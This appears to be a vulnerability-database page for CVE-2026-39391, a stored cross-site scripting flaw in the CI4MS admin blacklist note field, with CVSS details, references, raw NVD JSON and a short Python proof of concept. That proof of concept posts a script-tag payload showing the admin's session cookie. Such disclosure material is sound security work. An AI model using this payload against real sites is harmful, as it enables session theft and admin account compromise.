CVE-2026-39391

Description

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the blacklist (ban) note parameter in UserController::ajax_blackList_post() is stored in the database without sanitization and rendered into an HTML data-note attribute without escaping. An admin with blacklist privileges can inject arbitrary JavaScript that executes in the browser of any other admin who views the user management page. This vulnerability is fixed in 0.31.4.0.

CVSS Details

CVSS Score

4.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:* - VULNERABLE

CI4MS < 0.31.4.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-39391: Stored XSS in CI4MS
# Target: CI4MS < 0.31.4.0

url = "http://target.com/admin/user/ajax_blackList_post"
cookies = {"ci_session": "admin_session_id"}

# Malicious payload to be injected into the 'note' parameter
payload = '"><script>alert(document.cookie)</script>'

data = {
    "user_id": "1",
    "note": payload
}

response = requests.post(url, data=data, cookies=cookies)

if response.status_code == 200:
    print("Payload successfully injected.")
else:
    print("Injection failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39391
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39391
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39391/
[4] VulDB https://vuldb.com/cve/CVE-2026-39391
[5] https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-7cm9-v848-cfh2
[6] https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-7cm9-v848-cfh2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39391", "sourceIdentifier": "[email protected]", "published": "2026-04-08T15:16:13.897", "lastModified": "2026-04-16T00:14:31.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the blacklist (ban) note parameter in UserController::ajax_blackList_post() is stored in the database without sanitization and rendered into an HTML data-note attribute without escaping. An admin with blacklist privileges can inject arbitrary JavaScript that executes in the browser of any other admin who views the user management page. This vulnerability is fixed in 0.31.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.4.0", "matchCriteriaId": "392D5209-C574-4DEA-8529-BBD5860A35F0"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-7cm9-v848-cfh2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-7cm9-v848-cfh2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}